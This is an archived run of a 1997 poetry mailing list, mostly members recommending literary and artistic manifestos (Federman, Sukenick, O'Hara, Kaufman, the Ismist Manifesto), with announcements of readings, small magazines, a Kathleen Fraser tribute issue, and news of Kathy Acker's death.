↑ Index

286. Miekal And
Re: Manifestos
Tue 16 Dec 1997

From 1986-90 The Avant Garde Museum of Temporary Art collected artist manifestos as an ongoing mailart project. The project was called Maniments & Movifestos & in that time collected more than 90 manifestos from around the globe. We have a hypercard stack that documents what is included in the archive (this stack contains some of the short manifestos) & have half a file drawer of material that we collected pertaining to the call to make manifestos.

If anyone is innerested in that stack (mac only) I can easily email it to you. It is about an 80K file.

Miekal And

janitor of the Avant Garde Museum of Temporary Art

--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

287. KENT JOHNSON
Yasusada's Jacket
Tue 16 Dec 1997

For those who might be interested, there is an extensive correspondence on the "Yasusada affair" between myself and Akitoshi Nagahata of Nagoya University newly put up at John Tranter's _Jacket_ #2 -- www.jacket.zip.com.au. (Eliot Weinberger, I believe, will be adding a brief essay of introduction sometime soon.)

Also, to second Mark Prejsnar's call to check out his
truly excellent _Misc. Proj._, one staple through some thick and
heavy stuff.

Kent

↑ Index

288. **Mark Prejsnar**
Misc. Proj. 4 is out
Tue 16 Dec 1997

---

announcing:

Misc. Proj. #4
"fresh attacks"

a xeroxial poetry magazine

featuring not only new work, but also debates and dialogues on poetics, reviews, essays, great graphics, etc...

subscribers and contributors will be receiving their copies within the next few days*

issue #4 contains new work by Henry Gould, M. Magoolaghan, Spencer Selby, Patrick F. Durgin, Mark Wallace, Charles Bernstein, Nick Piombino, Joseph Torra, Standard Schaefer, John Lowther, John M. Bennett and others..

It's a nifty ocean-blue and costs only $1.00 made out to Mark Prejsnar, at:

Misc. Proj.
c/o Prejsnar
641 N. Highland Ave. NE, #11
Atlanta, GA 30306

A subscription of 4 issues is still only $3.50 (but will soon be going up, I think....)

happy holistic-daze...

mp

↑ Index

289. **Safdie Joseph**
Re: lost in the web
Tue 16 Dec 1997

Shameless Self-Promotion #673

I just wanted to remind list-travelers who find themselves in the Pacific Northwest this week that the Subtext Reading Series features Dorothy Trujillo Lush and myself at the Speakeasy Cafe, 2304 2nd Ave., Belltown, this Thursday evening at 7:30.

Bruce Andrews said of Dorothy's work: "Writing, here, can initiate a not so softened horizon: exsentimental flying saucers of evidence, severely outside."

Bruce didn't say that about my work. I'm still working on "the theoretical impasse in Language poetry / avant garde formations" (has anyone ever noticed that the mistaken posts on the list are sometimes more interesting than the intentional ones?) But let's see -- I heard that Bob Grenier, Joanne Kyger and a few other poets read my latest poem out loud around a Bolinas dinner table last weekend . . . (I dunno -- anyone got Creeley's number? Maybe I can hit him up for a blurb . . .)

Joe Safdie

> *David,*
>
> *I used the address that you display in your message and i got the review.*
> *It's a good piece I think on the theoretical impasse in Language poetry /*
> *avante-garde formations.*

↑ Index

290. **tony lopez**
lost in the web
Tue 16 Dec 1997

David,

I used the address that you display in your message and i got the review. It's a good piece I think on the theoretical impasse in Language poetry / avante-garde formations. Sadly no comment on your own fascinating video presentation /performance.

Hope all is well with you.

Tony

_____
Dr Tony Lopez
Reader in Poetry
University of Plymouth
Faculty of Arts & Education
Douglas Avenue
Exmouth
EX8 2AT
UK

tel: 1395 255418
fax: 1395 264196

_____

↑ Index

291. Matthew Roberson
Re: Manifestos
Tue 16 Dec 1997

> *For a paper I'm considering writing on manifestos, I'm wondering whether anyone on the list could suggest a literary/artistic manifesto -- N. American, say from the period 1960 to the present day -- which would be worth investigating.*
>
> *Or has anyone on the List written a manifesto? Would be curious to see it. Why not post?*

You might try some pieces written by Ronald Sukenick and Raymond Federman; in the 1970s they produced a number of manifestos for pomo fiction (or surfiction). I'm thinking, in particular, of "Surfiction--Four Propositions in Form of an Introduction" (Federman) and "The New Tradition in Fiction" (Sukenick). Both are in _Surfiction: Fiction Now and Tomorrow_. Sukenick's also got a number of good essays in his collection, _In Form_.

Best,

Matt

Matthew Roberson
Department of English
University of Wisconsin-Milwaukee
http://www.uwm.edu/people/matthewr
[redacted]

↑ Index

292. Miekal And
Re: Manifestos -Reply
Tue 16 Dec 1997

Jack Foley wrote:

> *Or has anyone on the List written a manifesto? Would be curious to see it. Why not post?*

2 manifestos for the age of electronic huts:

from 1987
Information Abstracts for the ElectroMagnetic Spectacle

RADICAL CODES FOR BRAINWAVE INTERFERENCE

http://www.net22.com/qazingulaza/polynoises/frames.html

==========

from 1992

SUSTAINABLE HYPERKULTURE:

the conservation of the anarchist spirit-state

http://www.net22.com/qazingulaza/sustaining/hyperkulture.html

==========

miekal

↑ Index

293. **jarnot**

Tom Carey & Tomaz Salamun at the Poetry Project

Tue 16 Dec 1997

For those in the New York area:

The Poetry Project
at
St. Mark's Church
2nd Avenue & 10th Street

is hosting a reading by

Tom Carey & Tomaz Salamun

Wednesday December 17th
at 8:00 pm

Tom Carey's most recent book, Desire, was recently published by Painted Leaf Press. He has lived in New York City since 1977. In 1988 he became a Franciscan brother in the Society of St. Francis. He currently lives and works in Brooklyn, New York.

Slovenian poet Tomaz Salamun was born on the 4th of July in Zagreb, Croatia. In the 1970s, Salamun was invited to the Iowa International Workshop, where he met Anselm Hollo, Ted Berrigan, Barrett Watten, and others. One of the foremost poets of Slovenia, he has published 27 books of poetry, including The Selected Poems (Ecco, 1988), and most recently, The Four Questions of Melancholy. He is currently the cultural attache at the Slovenian Consulate in New York.

↑ Index

294. **Patricia Cockram**
Re: Diction
Tue 16 Dec 1997

I agree with David Israel's statement that such a program is only as good as its creators, but it is also only as good as its users. I have often marveled at bizarrely inappropriate and sometimes hilarious word choices in papers from my students, especially from non-native speakers of English, and then finally figured out that they used a thesaurus but did not recognize divergent meanings or usages.

Patricia

↑ Index

295. **Patricia Cockram**
Re: Diction
Tue 16 Dec 1997

At 03:09 AM 12/15/97 +0000, in answer to Judy Roitman's:
>>
>> Have no idea how I got on this particular mailing list and sure can't
>> afford the $$ or time to check into this, but has anyone used stuff like
>> this? It seems so...so.... bizarre.

Jerry E. Fletcher wrote:

>ATTENTION: You have a "cookie" it will travel with you throughout your Cyber existance at this address and/or current organic life form. <snip>

Not if you delete it.
Patricia

↑ Index

296. **Jacques Debrot**
Re: Manifestos
Tue 16 Dec 1997

For a paper I'm considering writing on manifestos, I'm wondering whether anyone on the list could suggest a literary/artistic manifesto -- N. American, say from the period 1960 to the present day -- which would be worth investigating.

Or has anyone on the List written a manifesto? Would be curious to see it. Why not post?

Thanks in advance.

↑ Index

297. **Kristen Gallagher**
Re: Manifestos
Tue 16 Dec 1997

there's always o'hara's *personism: a manifesto.* and there is a great book called *the futurist moment* by marjorie perloff, where manifesto is discussed in detail. i am writing a manifesto. maybe i'll finish irt by the end of the week and send it? its called *intuitive diatribe.*

↑ Index

298. **Maria Damon**
Re: Manifestos
Tue 16 Dec 1997

At 3:49 PM -0500 12/16/97, Jacques Debrot wrote:
>For a paper I'm considering writing on manifestos, I'm wondering whether
>anyone on the list could suggest a literary/artistic manifesto -- N.
>American, say from the period 1960 to the present day -- which would be worth
>investigating.
>
>Or has anyone on the List written a manifesto? Would be curious to see it.
> Why not post?
>
>Thanks in advance.

i'd look at prefaces, forewords, etc, to anthologies that came out late 60s-early 70s, Black Fire, No More Masks!, Understanding the New Black Poetry, ,Time, to Greez, etc., what we now call "identitarian" anthologies. often the anthologizing gesture itself served as a kind of manifesto. md

↑ Index

299. **Scott Pound**
Re: Manifestos
Tue 16 Dec 1997

The Four Horsemen wrote a manifesto called _for a poetry of blood_ which is worth checking out, unfortunately I don't know how you can access it but if you backchannel I will send a photocopy of my copy to you. The Toronto Research Group have one extant manifersto of two that were written--first one was lost--that is reprinted in _Rational Geomancy_ (talon books, 1992).

Scott Pound

> *For a paper I'm considering writing on manifestos, I'm wondering whether anyone on the list could suggest a literary/artistic manifesto -- N. American, say from the period 1960 to the present day -- which would be worth investigating.*
>
> *Or has anyone on the List written a manifesto? Would be curious to see it. Why not post?*
>
> *Thanks in advance.*

↑ Index

300. **William Burmeister Prod**
Re: Manifestos
Tue 16 Dec 1997

On Dec 16, 3:49pm, Jacques Debrot wrote:
> Subject: Re: Manifestos
> For a paper I'm considering writing on manifestos, I'm wondering whether
> anyone on the list could suggest a literary/artistic manifesto -- N.
> American, say from the period 1960 to the present day -- which would be worth
> investigating.
>
> Or has anyone on the List written a manifesto? Would be curious to see it.
> Why not post?
>
> Thanks in advance.
>-- End of excerpt from Jacques Debrot

Pierre Joris has his own manifesto of a straightforward kind on line. Charting its cultural and other language rich course for the next milenium, it is a nomadic poetics and a poetics of nomadics. Well worth checking into. And damned if I can't find the URL for the online academic zine or website for this one. Help anyone?

William Burmeister

↑ Index

301. **Tom Beard**
Re: Manifestos
Tue 16 Dec 1997

Check out "Smells like Avant-Pop" at:

http://www.altx.com/memoriam/pomo.html#RTFToC1

or the "Wigglism" manifesto at:

http://web.aec.at/fleshfactor/arch/msg00026.html

Tom Beard.

↑ Index

302. **Jack Foley**
Re: Manifestos -Reply
Tue 16 Dec 1997

Try the "Avant-Pop Manifesto" at
http://www.altx.com/memoriam/pomo.html#RTFToC9

>>> Jacques Debrot <[redacted]> 12/16/97 03:49pm >>>
For a paper I'm considering writing on manifestos, I'm wondering whether anyone on the list could suggest a literary/artistic manifesto -- N. American, say from the period 1960 to the present day -- which would be worth
investigating.

Or has anyone on the List written a manifesto? Would be curious to see it. Why not post?

Thanks in advance.

↑ Index

303. **Gwyn McVay**
Re: Manifestos -Reply
Tue 16 Dec 1997

But you have to trace all of these back to Bob Kaufman's "Abomunist Manifesto"--my dissection of the pseudonym "Bomkauf" and the use of the word "frink" made me perhaps the only person in the history of the program to make a literary reference to P-Funk on a master's exam--

agree? maria d.?

Gwyn

↑ Index

304. **Jacques Debrot**
Re: Manifestos
Tue 16 Dec 1997

William Burmeister wrote:

Pierre Joris has his own manifesto of a straightforward kind on line. Charting its cultural and other language rich course for the next milenium, it is a nomadic poetics and a poetics of nomadics. Well worth checking into. And damned if I can't find the URL for the online academic zine or website for this one. Help anyone?

----William, Pierre Joris's website is at:
http://www.albany.edu/~joris/nomad.html

↑ Index

305. **Douglas**
Re: Manifestos
Tue 16 Dec 1997

Dear Jacques,

In 1983 I edited an issue of WASHINGTON REVIEW titled MANIFESTOS. It contained new manifestos by Jackson Mac Low, George Myers, Jr., John Perreault, Nina Zivancevic, Bernadette Mayer, Charles Bernstein, Terence Wince, DiC. artist Brian Kavanaugh, Charles and James Wine, Joe Ross, Bruce Andrews, Tina Darragh, Claude Ricochet, Susan Laufer, Sally Silvers, Jean-Paul Curtay, and others.
I also wrote a "Statement on Manifestos," which I later read at the MLA.

You might want to take a look at that.

Douglas Messerli

Jacques Debrot wrote:
>
> For a paper I'm considering writing on manifestos, I'm wondering whether
> anyone on the list could suggest a literary/artistic manifesto -- N.
> American, say from the period 1960 to the present day -- which would be worth
> investigating.
>
> Or has anyone on the List written a manifesto? Would be curious to see it.
> Why not post?
>
> Thanks in advance.

↑ Index

306. { brad brace }

*** *Psychic Cleansing from Arts Administrators and Faculty-Artists* ***

Tue 16 Dec 1997

Imagine the person -- have their photo or draw a crude picture, just for this purpose.

Light a white candle. Have a glass of drinking water next to you.

Imagine that you are surrounded with with white light. Smudge your surroundings.

Surround their image with white light, even if you think they are full of dirty, evil energy. The white light will seal their psychic toxicity so it won't leak out.

Pour salt on their image, as much as you want.

Say aloud:

"I am cleansed from their wrongdoings and I ask the universe to help them find a way back to truth, honor and integrity."

Blow the salt away. Drink the water and blow out the candle.

Throw out the picture (do not burn it).

--

{ brad brace } <<<< [redacted] >>>> ~finger for pgp

The_12hr-ISBN-JPEG_Project ftp.wco.com/users/bbrace <
> eccentric ftp.netcom.com/pub/bb/bbrace <
> sequacious ftp.teleport.com/users/bbrace <
> hypermodern ftp.rdrop.com/pub/users/bbrace <
> imagery online ftp.pacifier.com/pub/users/bbrace <

Usenet-news: alt.binaries.pictures.12hr/ a.b.p.fine-art.misc Mailing-list: [redacted] / subscribe 12hr-isbn-jpeg Reverse Solidus: http://www.teleport.com/~bbrace/bbrace.html

↑ Index

307. Bob Grumman

Re: not just any word

Tue 16 Dec 1997

This is a multi-part message in MIME format.

Miekal And wants to know if "'xeroxial' (has) a place in the bob grumman school of taxonomy?" Of course! Everything, as Miekal MUST know, has a place in my taxonomy. Actually, "xeroxial" would have two places, one under "visualloyic

poetry" (to wit: "xeroxial visualloyic poetry") and one under "visiocollagic poetry" (to wit "xeroxial visiocollagic poetry"--or, better, "xerollagic poetry," from Miekal's own term, "xerollage," which I probably spelled wrong; I might've spelled my OWN terms wrong, too). Both time the adjective means composing with a copier, the product acknowledging its copiedness to fulfill various expressive purposes. I'd use it with "textual illumagery, too" and probably in other places.

So, Miekal, when are you and Liz gonna fill out a Comprepoetica survey form?

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------3ED54D3546BD--

↑ Index

308. Marcella Durand

Re: Misc. Proj. 4 is out

Tue 16 Dec 1997

Is this an all-male issue?

From: Mark Prejsnar
Sent: Tuesday, December 16, 1997 11:24 AM
To: [redacted]
Subject: Misc. Proj. 4 is out

announcing:

Misc. Proj. #4
"fresh attacks"

a xeroxial poetry magazine

featuring not only new work, but also debates and dialogues on poetics, reviews, essays, great graphics, etc...

subscribers and contributors will be receiving their copies within the next few days*

issue #4 contains new work by Henry Gould, M. Magoolaghan, Spencer Selby, Patrick F. Durgin, Mark Wallace, Charles Bernstein, Nick Piombino, Joseph Torra, Standard Schaefer, John Lowther, John M. Bennett and others..

It's a nifty ocean-blue and costs only $1.00 made out to Mark Prejsnar, at:

Misc. Proj.
c/o Prejsnar
641 N. Highland Ave. NE, #11
Atlanta, GA 30306

A subscription of 4 issues is still only $3.50 (but will soon be going up, I think....)

happy holistic-daze...

mp

AA00/TcAAH2I

↑ Index

309. Joel Felix
Re: The Lost Sites of Webworld
Tue 16 Dec 1997

Hello poetix, ebr has yet to be finished and I would like to assure that there is no bias against the Pacific Rim - - at least that I've seen in internal communiques. Not all of the essays are yet debugged - - ebr # 6 is not lost, rather waiting, ether being a convenience in this case for limbo. But there is a reprieve; I'll post to here when it's ready to go. Apologies to all that've had cause to doubt their own when presented with 404's.

Joel Felix
Associate Editor, ebr

> *Explorers, I too am having trouble locating a legendary website. According to the intrepid voyageur Robert Archambeau, a report of the New Hampshire Conference can be found at*
>
> *http://www.altx.com/ebr/reviews/rev6/r6barrett/r6bar.htm*
>
> *--however, this issue doesn't appear to be together yet; just promises that it will be. Is it possible that those with better software than I, or who live in the Midwest rather than the Pacific Rim, can access this issue while I cannot? Are we caught in a timewarp here? Who can decode for me the mystery of the missing report? David*

↑ Index

310. **Maria Damon**
Re: Manifestos -Reply
Tue 16 Dec 1997

At 6:05 PM -0500 12/16/97, Gwyn McVay wrote:
>But you have to trace all of these back to Bob Kaufman's "Abomunist
>Manifesto"--my dissection of the pseudonym "Bomkauf" and the use of the
>word "frink" made me perhaps the only person in the history of the program
>to make a literary reference to P-Funk on a master's exam--
>
>agree? maria d.?
>
>Gwyn

tell me more gwen, not being intimately familiar w/ p-funk beyond a distant-admirer status...

↑ Index

311. **aerialedge**
Re: Manifestos
Wed 17 Dec 1997

Guy Debord.

↑ Index

312. **dbkk**
Kathleen Fraser tribute
Wed 17 Dec 1997

This is Kevin Killian. As a surprise for the poet Kathleen Fraser, whose book of selected poems "Il cuore: the heart" appeared in September, Mary Margaret Sloan began a kind of chain letter soliciting tributes, memoirs, poems, essays, etc., and these were all compiled and presented to her at the close of her reading here in San Francisco on Sunday at Canessa Park. Dozens and dozens of them, and probably many of you on this list were among those who responded to Sloan's "Chain of Hearts" appeal. Simultaneously Dodie Bellamy and I surprised Fraser by distributing a special issue of our zine "Mirage #4/ Period[ical]" (#74) filled with many of these tributes and what have you that Margy had shared with us. Well, it was a total surprise to Kathleen Fraser and tears started up in her eyes. We have a few copies of this left over and if you'd like one let me know (back channel) please.

↑ Index

313. Herb Levy
Re: Kathleen Fraser tribute
Wed 17 Dec 1997

Hey Kevin,

Hope you & Dodie are well. I'd like one of these Fraser issues if you've still got some, a minute or two after sending your message to the list.

Thanks a lot. Hope you have a great new year.

Bests,

Herb

> *This is Kevin Killian. As a surprise for the poet Kathleen Fraser, whose book of selected poems "Il cuore: the heart" appeared in September, Mary Margaret Sloan began a kind of chain letter soliciting tributes, memoirs, poems, essays, etc., and these were all compiled and presented to her at the close of her reading here in San Francisco on Sunday at Canessa Park. Dozens and dozens of them, and probably many of you on this list were among those who responded to Sloan's "Chain of Hearts" appeal. Simultaneously Dodie Bellamy and I surprised Fraser by distributing a special issue of our zine "Mirage #4/Period[ical]" (#74) filled with many of these tributes and what have you that Margy had shared with us. Well, it was a total surprise to Kathleen Fraser and tears started up in her eyes. We have a few copies of this left over and if you'd like one let me know (back channel) please.*

Herb Levy
[redacted]

↑ Index

314. Herb Levy
The standard oops
Wed 17 Dec 1997

Sorry for the message to the list instead of to Kevin; now that I'm not writing online everyday I forget how e-mail works sometimes.

Bests,

Herb

Herb Levy
[redacted]

↑ Index

315. **Miekal And**
Re: Manifestos
Wed 17 Dec 1997

---

from THE QUOTES OF ROTAR STORCH
edited by Miekal And
1989 Runaway Spoon

Ismist Manifesto

founded by Rotar Storch, December 25, 1957

“All isms ist one!”

chrism, ism, prism, schism: abysm, Baalism, Babism, baptism, Buddahism, deism, ascism, monism, purism, realism, snobbism, sophism, technism, theism, truism; actinism, agonism, altruism, anarchism, aneurism, anglicism, animism, aphorism, archaism, atheism, atomism, babyism, barbarism, blicism, bloomerism, bogeyism, Bolshevism, braggardism, brutalism, cabalism, Calvanism, cataclysm, catechism, centralism, Chauvinism, classicism, communism, cretinism, Darwinism, despotism, devilism, dualism egotism, embolism, etherism, euphuism, exorcism, fairyism, fatalism, fetishism, feudalism, fossilism, frivolism, allicism, galvanism, heathenism, hedonism, heroism, hibernism, induism, itlerism, humananism, hypnotism, idealism, slamism, jockeyism, journalism, udaism, laconism, atinism, localism, loyalism, lyricaism, magnetism, mannerism, mechanism, mesmerism, methodism, modernism, monkeyism, moralism, mysticism, nativism, nepotism, nihilism, occultism, optimism, organism, ostracism, pacifism, paganism, pantheism, paroxysm, pauperism, pedantism, pelmanism, pessimism, plagiarism, pugilism, pythonism, quietism, rabbinism, rheumatism, rigorism, royalism, ruralism, satanism, savagism, Saxism, scepticism, socialism, solescism, stoicism, subtilism, syllogism, symbolism, synchronism, terrorism, tigerism, tribalism, vandalism, vocalism, verbalism, vulgarism, witticism, yankeeism, ionism, absolutism, academism; achromaticism, aestheticism, agnosticism, alcoholism, alienism, anachromism, anatomism, glicanism, animalism, antagonism, asceticism, capitalism, characterism, classicism, clericalism, conservatism, democratism, determinism, diabolism, diplomatism, eclecticism, empiricism, vangelism, exoticism, expressionism, externalism, fanaticism, favoritism, federalism, generalism, histrionism, hyperbolism, idiotism, imperialism, impressionism, talicism, suitism, laconicism, liberalism, literalism, monasticism, naturalism, nominalism, parallelism, parasitism, paternalism, patriotism, pedagogism, philosophism, secularism, sensualism, separtism, subjectivism, sychophantism, universalism, ventriloquism, abolitionism, agrarianism, Americanism, colloquialism, colonialism, conventionalism, equestrianism, evolutionism, existentialism, imperialism, indeterminism, indifferentism, industrialism, materialism, medievalism, Orientalism, phalansterism, phenomenalism,

professionalism, proverbalism, publicanism, Utopianism, vernacularism, antiquarianism, bacchanalianism, gregationalism, constitutionalism, cosmopolitanism, experimentalism, internationalism, presbyterianism, proletarianism, supernaturalism, Unitarianism, getarianism, humanitarianism, litarianism.

↑ Index

316. Annie Finch
manifestoes
Wed 17 Dec 1997

Jacques,

There is a new-formalist manifesto from the early 80s you might want to look at: the introduction to the anthology Expansive Poetry. There was also a magazine called The Reaper, edited by Robert McDowell and Mark Jarman, in the 70s, that was full of manifestoes. As a post-formalist, I am rather embarrassed by these (!) , but if you want another sort of manifesto to look at you might find them useful.

I am also writing one myself, but it's not done yet.

Annie

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

↑ Index

317. Mark Prejsnar
Re: Misc. Proj. 4 is out
Wed 17 Dec 1997

Yup--It's an all-male issue; maybe I should wait till other poets submit some stuff to me....But nobody did this time around. Hopefully that'll change. Hint hint....

Mark Prejsnar

On Tue, 16 Dec 1997, Marcella Durand wrote:

> *Is this an all-male issue?*
>
> *----------*
> *From: Mark Prejsnar*
> *Sent: Tuesday, December 16, 1997 11:24 AM*
> *To:* [redacted]
> *Subject: Misc. Proj. 4 is out*

> *announcing:*
>
> *Misc. Proj. #4*
> *"fresh attacks"*
>
> *a xeroxial poetry magazine*
>
> *featuring not only new work, but also debates and dialogues on poetics, reviews, essays, great graphics, etc...*
>
> ***subscribers and contributors will be receiving their copies within the next few days****
>
> *issue #4 contains new work by Henry Gould, M. Magoolaghan, Spencer Selby, Patrick F. Durgin, Mark Wallace, Charles Bernstein, Nick Piombino, Joseph Torra, Standard Schaefer, John Lowther, John M. Bennett and others..*
>
> *It's a nifty ocean-blue and costs only $1.00 made out to Mark Prejsnar, at:*
>
> *Misc. Proj.*
> *c/o Prejsnar*
> *641 N. Highland Ave. NE, #11*
> *Atlanta, GA 30306*
>
> *A subscription of 4 issues is still only $3.50 (but will soon be going up, I think....)*
>
> *happy holistic-daze...*
>
> *mp*

↑ Index

318. **William Marsh**
Re: Manifestos
Wed 17 Dec 1997

---

one more...

Silliman, Ron (et al). "Aesthetic Tendency and the Politics of Poetry: A Manifesto" in _Social Text_, Fall 1988

bmarsh

↑ Index

319. Maria Damon
wieners & bernstein
Wed 17 Dec 1997

hey all, remember when we used to post what we were reading? here's my end-of-quarter catch-as-catch-can listing:

john wieners 707 scott st, just my cup of tea! loneliness, poetry, drugs, anonymous sex and religion; reminds me of russell fitz-g's obsessed-w-bob-kaufman diary from the same period. thank you for publishing this douglas messerli!!

chas bernstein's article for daedalus, called "a blow is like an instrument." cute and engaging, w/ lenny bruce gig and all, a real pleasure to see that in a "serious" humanities rag. one q, though, is in his thumbnail precis of the yasusada brouhaha he refers to "the poem itself." is there any such thing, is what i'd like to know. obviously i think not. charles's discussion is framed in terms of questions, so i'm not imputing certainty to him, but the phrase "the poem itself" can function, in current academic climate, as a gauntlet of aestheticism thrown down in a gesture that erases almost all post-'68 thinking in the humanities.

a heavy dose of barrett watten, after his ILS tour de force. no comment yet.

a ms on gertrude stein for a univ. press. no comment yet.

snippets of Puerto Rican Jam (U of MN Press), a group of essays by young PR scholars mostly sociology etc, and Nestor Garcia Canclini's book abt entering and leaving modernity, what's it called? slipped my mind. it's in the other room. the former not as helpful as i'd thot it wd be, the latter very interesting, esp the foreword by renato rosaldo.

hoping to delve into hannah weiner and nate mackey more thoroughly during my upcoming single quarter leave YAY!--md

↑ Index

320. Burt Hatlen
Re: Kathleen Fraser tribute
Wed 17 Dec 1997

I'd be very grateful if you would send me a copy of the Fraser tribute. Burton Hatlen, Room 304, 5752 Neville Hall, University of Maine, Orono, ME 04469-5752

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321. **Maria Damon**
Re: Manifestos
Wed 17 Dec 1997

At 11:56 AM +0000 12/17/97, Miekal And wrote:
>from THE QUOTES OF ROTAR STORCH
>edited by Miekal And
>1989 Runaway Spoon
>
>
>
>Ismist Manifesto
>
>founded by Rotar Storch, December 25, 1957
>
>
>“All isms ist one!”
>
>chrism, ism, prism, schism: abysm, Baalism, Babism, baptism, Buddahism,
>deism, ascism, monism, purism, realism, snobbism, sophism, technism,
>theism, truism; actinism, agonism, altruism, anarchism, aneurism,
>anglicism, animism, aphorism, archaism, atheism, atomism, babyism,
>barbarism, blicism, bloomerism, bogeyism, Bolshevism, braggardism,
>brutalism, cabalism, Calvanism, cataclysm, catechism, centralism,
>Chauvinism, classicism, communism, cretinism, Darwinism, despotism,
>devilism, dualism egotism, embolism, etherism, euphuism, exorcism,
>fairyism, fatalism, fetishism, feudalism, fossilism, frivolism,
>allicism, galvanism, heathenism, hedonism, heroism, hibernism, induism,
>itlerism, humananism, hypnotism, idealism, slamism, jockeyism,
>journalism, udaism, laconism, atinism, localism, loyalism, lyricaism,
>magnetism, mannerism, mechanism, mesmerism, methodism, modernism,
>monkeyism, moralism, mysticism, nativism, nepotism, nihilism, occultism,
>optimism, organism, ostracism, pacifism, paganism, pantheism, paroxysm,
>pauperism, pedantism, pelmanism, pessimism, plagiarism, pugilism,
>pythonism, quietism, rabbinism, rheumatism, rigorism, royalism,
>ruralism, satanism, savagism, Saxism, scepticism, socialism, solescism,
>stoicism, subtilism, syllogism, symbolism, synchronism, terrorism,
>tigerism, tribalism, vandalism, vocalism, verbalism, vulgarism,
>witticism, yankeeism, ionism, absolutism, academism; achromaticism,
>aestheticism, agnosticism, alcoholism, alienism, anachromism, anatomism,
>glicanism, animalism, antagonism, asceticism, capitalism, characterism,
>classicism, clericalism, conservatism, democratism, determinism,

>diabolism, diplomatism, eclecticism, empiricism, vangelism, exoticism,
>expressionism, externalism, fanaticism, favoritism, federalism,
>generalism, histrionism, hyperbolism, idiotism, imperialism,
>impressionism, talicism, suitism, laconicism, liberalism, literalism,
>monasticism, naturalism, nominalism, parallelism, parasitism,
>paternalism, patriotism, pedagogism, philosophism, secularism,
>sensualism, separtism, subjectivism, sychophantism, universalism,
>ventriloquism, abolitionism, agrarianism, Americanism, colloquialism,
>colonialism, conventionalism, equestrianism, evolutionism,
>existentialism, imperialism, indeterminism, indifferentism,
>industrialism, materialism, medievalism, Orientalism, phalansterism,
>phenomenalism, professionalism, proverbalism, publicanism, Utopianism,
>vernacularism, antiquarianism, bacchanalianism, gregationalism,
>constitutionalism, cosmopolitanism, experimentalism, internationalism,
>presbyterianism, proletarianism, supernaturalism, Unitarianism,
>getarianism, humanitarianism, litarianism.

cool, but is antidisestablishmentarianism in there? that's a word my sister and i used to try to spell as fast as we could as children, having been told it was the "longest word in the english language."

↑ Index

322. Aldon Nielsen
(no subject)
Wed 17 Dec 1997

Since I'm no longer able to get my email at home, I'll be off the list till after the MLA -- Hope to see some of you in Toronto --

↑ Index

323. Miekal And
gather around me brothers & sisters & ye shall.....
Wed 17 Dec 1997

Hugh Steinberg wrote:

> *Isn't there something inherently ridiculous about manifestos?*

all texts. laughable. like good medicine.

I'm thinking
> back to the discussion of avant-gardes and border-keeping apparatuses, and
> the notion that if there isn't an avant-garde anymore,

in the dreamtime everything is real, the is & the not is

then what are all
> these manifestos doing?

holographic codes for breathing each breath anew

> *A manifesto is more than just an essay stating "this is what I believe in,"*

or "this is what I believe in, join me...."

> *it is an act of hubris, the difference between trying to talk to someone at a party and trying to talk to everyone at the party, at the same time, so that they all have to sleep with you when you're done speaking. If they are anything, manifestos are ardent.*

insistent

> *As such manifestos have become a form of camp, to be read primarily with irony, because their theatricality makes it impossible to take their grandstanding seriously or literally. The "Ismist Manifesto" is a good illustration of this.*

where the edges meet is the territory of most abundant energy & thot, --the forest meets the pond

> *This irony defeats the manifesto's original intent: it's hard to take seriously someone you're laughing at.*

try laughing with them.

At the supposed core of any
> manifesto is an idea, a principle, an article of faith, that the writer and
> signers of said manifesto not only believe in, but wish to persuade others
> that they should believe in it too.

manifesto are recursive ideologues, manifestos generate manifestos. faith comes with pure intention, not critical acumen.

But if there are no borders left to
> maintain,

sounds like ifism

then the manifesto's assertion of borders is laughable.

laugh with me

What
> started as an important and necessary statement of principles (if this was
> ever true: a golden age where manifestos mattered might just be another
> form of nostalgia) has degenerated into a comic exercise.

this is why the dadaists, futurists, zaumniks, lettrists, & fluxus produced such provocative manifest(o)ations.

this has been a
posthumous intervention by
Rotor Storch

↑ Index

324. lee ann brown
Re: POETICS Digest - 30 Nov 1997 to 1 Dec 1997
Wed 17 Dec 1997

Dear List,
What sad news of Kathy Acker's death!
What a Great Poetic and Sexual Terrorist!
She is such an Iconic Force -
a major Permission Giver for so many readers and writers -
like hearing Patti Smith in P.J. Harvey, or the Breeders,
In those coming after-
May Her
Logo-Poetic
Collage Epic
Rock On!

Lee Ann Brown
>----------
>
>Date: Mon, 1 Dec 1997 13:57:28 -0800
>From: Steve Carll <[redacted]>
>Subject: Fwd: Kathy Acker
>
>Just had this forwarded to me from Jack Foley.
>
>>>From sjcarll Mon Dec 1 10:40:36 1997
>
>>Jack,
>>
>>Checks for the Kathy Acker Fund should be made out to GIORNO POETRY
>>SYSTEMS.
>>You can send checks to ATTICUS BOOKS--1508 U Street, NW--Washington, DC
>>20009.
>>

>>Kathy Acker died November 30 at 1:30 am PST.
>>
>>Sad news.
>>
>>Lucinda
>
>
>**********
>[redacted] Steve Carll
>http://writing.upenn.edu/epc/mags/antenym
>http://writing.upenn.edu/epc/ezines/antenym
>
>In seed-
>sense
>the sea stars you out, innermost, forever.
>
> --Paul Celan
>**********
>

↑ Index

325. **Hugh Steinberg**

Re: manifestoes

Wed 17 Dec 1997

Annie writes:

> *There is a new-formalist manifesto from the early 80s you might want to look at: the introduction to the anthology Expansive Poetry. There was also a magazine called The Reaper, edited by Robert McDowell and Mark Jarman, in the 70s, that was full of manifestoes. As a post-formalist, I am rather embarrassed by these (!) , but if you want another sort of manifesto to look at you might find them useful.*

Isn't there something inherently ridiculous about manifestos? I'm thinking back to the discussion of avant-gardes and border-keeping apparatuses, and the notion that if there isn't an avant-garde anymore, then what are all these manifestos doing?

A manifesto is more than just an essay stating "this is what I believe in," it is an act of hubris, the difference between trying to talk to someone at a party and trying to talk to everyone at the party, at the same time, so that they all have to sleep with you when you're done speaking. If they are anything, manifestos are ardent.

As such manifestos have become a form of camp, to be read primarily with irony, because their theatricality makes it impossible to take their grandstanding seriously or literally. The "Ismist Manifesto" is a good illustration of this.

